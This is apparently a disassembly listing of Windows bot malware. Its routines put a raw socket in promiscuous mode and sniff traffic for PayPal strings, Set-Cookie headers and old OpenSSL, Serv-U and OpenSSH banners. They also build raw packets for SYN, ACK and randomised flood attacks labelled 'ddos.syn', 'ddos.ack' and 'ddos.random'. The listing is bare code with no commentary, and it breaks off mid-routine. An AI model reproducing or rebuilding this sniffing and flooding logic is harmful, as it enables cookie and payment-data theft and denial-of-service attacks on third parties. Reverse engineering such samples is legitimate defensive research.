; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41302D(char *Str)

sub_41302D	proc near		; CODE XREF: sub_413119+35Fp

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413047

loc_413043:				; CODE XREF: sub_41302D+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_413047:				; CODE XREF: sub_41302D+14j
		push	offset aPiavnc	; "##piavnc##"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413043
		push	offset aPaypal	; "paypal"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41306D

loc_413069:				; CODE XREF: sub_41302D+4Fj
					; sub_41302D+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41306D:				; CODE XREF: sub_41302D+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413069
		push	offset aPaypal_com ; "PAYPAL.COM"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413069
		push	offset aPaypal_com_0 ; "paypal.com"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413069
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_41302D	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4130B4(char *Str)

sub_4130B4	proc near		; CODE XREF: sub_413119:loc_4134DEp

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130CE

loc_4130CA:				; CODE XREF: sub_4130B4+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4130CE:				; CODE XREF: sub_4130B4+14j
		push	offset aPiavnc	; "##piavnc##"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130CA
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4130F4

loc_4130F0:				; CODE XREF: sub_4130B4+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4130F4:				; CODE XREF: sub_4130B4+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130F0
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4130B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413119	proc near		; DATA XREF: sub_401CC7+42FBo

Dst		= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
Str		= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
Dest		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4E4234	; gethostname
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4E42A4	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx		; Size
		push	dword ptr [eax]	; Src
		lea	eax, [ebp+var_8]
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4E42A0	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_4131BF
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_4131BF:				; CODE XREF: sub_413119+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4E424C	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413235
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DA7C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_413211
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_30]	; int
		push	eax		; int
		lea	eax, [ebp+var_B4]
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_409D6C
		add	esp, 14h

loc_413211:				; CODE XREF: sub_413119+D6j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		push	edi
		call	dword_4E42B8	; closesocket
		push	[ebp+var_34]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_413235:				; CODE XREF: sub_413119+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4E41CC	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4132BB
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DAA8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_413297
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_30]	; int
		push	eax		; int
		lea	eax, [ebp+var_B4]
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_409D6C
		add	esp, 14h

loc_413297:				; CODE XREF: sub_413119+15Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		pop	ecx
		push	edi
		call	dword_4E42B8	; closesocket
		push	[ebp+var_34]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_4132BB:				; CODE XREF: sub_413119+13Cj
		mov	esi, 200h

loc_4132C0:				; CODE XREF: sub_413119+1D6j
					; sub_413119+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+Dst]
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4E4238	; recv
		cmp	[ebp+var_113AF], 6
		jnz	short loc_4132C0
		push	[ebp+var_113A4]
		mov	edi, ds:dword_4F6534
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_4132C0
		cmp	[ebp+arg_0], 19h
		jz	short loc_4132C0
		cmp	edi, 6Eh
		jz	short loc_4132C0
		cmp	edi, 19h
		jz	short loc_4132C0
		push	[ebp+var_113AC]
		call	sub_412E0A
		pop	ecx
		push	dword ptr [eax]
		call	ds:dword_4F6538	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_35	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	[ebp+var_113A8]
		call	sub_412E0A
		add	esp, 10h
		push	dword ptr [eax]
		call	ds:dword_4F6538	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_36	; "%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Str]
		mov	[ebp+var_4], ebx
		push	eax		; Str
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jle	short loc_4133BE

loc_41338A:				; CODE XREF: sub_413119+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+Str], 0Dh
		lea	eax, [ebp+eax+Str]
		jnz	short loc_4133A1
		mov	byte ptr [eax],	20h

loc_4133A1:				; CODE XREF: sub_413119+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4133A9
		mov	byte ptr [eax],	20h

loc_4133A9:				; CODE XREF: sub_413119+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_41338A

loc_4133BE:				; CODE XREF: sub_413119+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_413471
		cmp	edi, 50h
		jz	loc_413471
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412E19
		test	al, al
		pop	ecx
		jz	short loc_413405
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44DAE0
		jmp	loc_4134A0
; ---------------------------------------------------------------------------

loc_413405:				; CODE XREF: sub_413119+2C7j
		cmp	edi, 50h
		jz	short loc_413471
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412F30
		test	al, al
		pop	ecx
		jz	short loc_41343B
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44DB14
		jmp	short loc_4134A0
; ---------------------------------------------------------------------------

loc_41343B:				; CODE XREF: sub_413119+300j
		cmp	edi, 50h
		jz	short loc_413471
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_412FA6
		test	al, al
		pop	ecx
		jz	short loc_413471
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44DB48
		jmp	short loc_4134A0
; ---------------------------------------------------------------------------

loc_413471:				; CODE XREF: sub_413119+2A9j
					; sub_413119+2B2j ...
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	sub_41302D
		test	al, al
		pop	ecx
		lea	eax, [ebp+Str]
		push	eax
		jz	short loc_4134DE
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset asc_44DB7C ; "-"

loc_4134A0:				; CODE XREF: sub_413119+2E7j
					; sub_413119+320j ...
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_4132C0
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_30]	; int
		push	eax		; int
		lea	eax, [ebp+var_B4]
		push	eax		; Str
		push	[ebp+var_B8]	; int
		call	sub_409D6C
		add	esp, 14h
		jmp	loc_4132C0
; ---------------------------------------------------------------------------

loc_4134DE:				; CODE XREF: sub_413119+36Ej
		call	sub_4130B4
		test	al, al
		pop	ecx
		jz	loc_4132C0
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_44DBB4
		jmp	short loc_4134A0
sub_413119	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41350C	proc near		; DATA XREF: sub_401CC7+6694o

Dest		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= dword	ptr -18Ch
Str		= byte ptr -10Ch
Str1		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_4F63B0	; GetTickCount
		push	eax		; Seed
		call	_srand
		lea	eax, [ebp+var_18C]
		push	eax		; int
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		lea	eax, [ebp+var_20C]
		push	eax		; Str
		lea	eax, [ebp+var_28C]
		push	eax		; int
		call	sub_4138F8
		add	esp, 14h
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DBEC ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_41359F
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_294]	; int
		call	sub_409D6C
		add	esp, 14h

loc_41359F:				; CODE XREF: sub_41350C+71j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_290]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
sub_41350C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4135C1(int,int,char *Str1,int,int)

sub_4135C1	proc near		; CODE XREF: sub_4138F8+40p

var_284		= byte ptr -284h
Dest		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
Dst		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str1		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4E4190	; WSAStartup
		test	eax, eax
		jz	short loc_413601
		xor	eax, eax
		jmp	loc_4138F4
; ---------------------------------------------------------------------------

loc_413601:				; CODE XREF: sub_4135C1+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4E42C4	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4138EC
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4E4200	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4138E2
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4E4220	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4E4220	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4E4220	; htons
		mov	[ebp+var_12], ax
		call	_rand
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4E4220	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4E421C	; htonl
		push	offset aDdos_syn_0 ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4136D1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_413725
; ---------------------------------------------------------------------------

loc_4136D1:				; CODE XREF: sub_4135C1+105j
		push	offset aDdos_ack_0 ; "ddos.ack"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4136ED
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_413725
; ---------------------------------------------------------------------------

loc_4136ED:				; CODE XREF: sub_4135C1+121j
		push	offset aDdos_random_0 ;	"ddos.random"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413725
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_413725:				; CODE XREF: sub_4135C1+10Ej
					; sub_4135C1+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4E4220	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+Str1], ebx
		call	ds:dword_4F62F8	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4F643C	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_413773:				; CODE XREF: sub_4135C1+2E2j
					; sub_4135C1+2F0j
		mov	[ebp+var_4], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4E4220	; htons
		mov	[ebp+var_14], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	dword_4E4220	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4E421C	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4E4220	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40B002
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40B002
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4E4284	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4138B6
		add	[ebp+Str1], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_4F643C	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4138DF
		jl	loc_413773
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4138DF
		jmp	loc_413773
; ---------------------------------------------------------------------------

loc_4138B6:				; CODE XREF: sub_4135C1+2CBj
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DC38 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		add	esp, 10h
		jmp	short loc_4138E2
; ---------------------------------------------------------------------------

loc_4138DF:				; CODE XREF: sub_4135C1+2E0j
					; sub_4135C1+2EEj
		mov	ebx, [ebp+Str1]

loc_4138E2:				; CODE XREF: sub_4135C1+78j
					; sub_4135C1+31Cj
		push	[ebp+var_20]
		call	dword_4E42B8	; closesocket
		pop	esi

loc_4138EC:				; CODE XREF: sub_4135C1+5Bj
		call	dword_4E4178	; WSACleanup
		mov	eax, ebx

loc_4138F4:				; CODE XREF: sub_4135C1+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4135C1	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4138F8(int,char *Str,char *Str1,int)

sub_4138F8	proc near		; CODE XREF: sub_41350C+4Fp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40AE8D
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_C]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi		; int
		idiv	ecx
		push	ebx		; int
		push	[esp+20h+Str1]	; Str1
		lea	eax, [edx+esi+100h]
		push	eax		; int
		push	esi		; int
		call	sub_4135C1
		add	esp, 20h
		test	eax, eax
		jnz	short loc_413947
		push	1
		pop	eax

loc_413947:				; CODE XREF: sub_4138F8+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4138F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413956	proc near		; DATA XREF: sub_401CC7+6873o

Dest		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
Str		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Dst		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_4E42A0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4139F1
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DC54 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4139D4
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_4139D4:				; CODE XREF: sub_413956+5Cj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_38]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_4139F1:				; CODE XREF: sub_413956+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_4E4200	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413A68
		call	dword_4E41B4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_44DC80 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_413A4B
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_413A4B:				; CODE XREF: sub_413956+D3j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_38]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_413A68:				; CODE XREF: sub_413956+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4E4260	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_413ACF
		lea	eax, [ebp+Dest]
		push	offset asc_44DCB0 ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_413AB2
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_28]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_1BC]	; int
		call	sub_409D6C
		add	esp, 14h

loc_413AB2:				; CODE XREF: sub_413956+13Aj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C77
		push	[ebp+var_38]
		call	sub_40BAAA
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_4F63D4	; ExitThread

loc_413ACF:				; CODE XREF: sub_413956+122j
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	edi
		call	dword_4E4220	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_4E4260	; inet_addr
		mov	esi, ds:dword_4F63B0
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax

loc_413B0D:				; CODE XREF: sub_413956+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_413CB8
		push	41Ch
		mov	byte_4E6FD8, 45h
		call	dword_4E4220	; htons
		cmp	[ebp+var_2C], edi
		mov	word_4E6FDA, ax
		mov	word_4E6FDC, bx
		mov	word_4E6FDE, di
		mov	byte_4E6FE0, 80h
		mov	byte_4E6FE1, bl
		mov	word_4E6FE2, di
		jz	short loc_413B93
		call	_rand
		mov	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		shl	ebx, 8
		call	_rand
		add	ebx, eax
		push	1
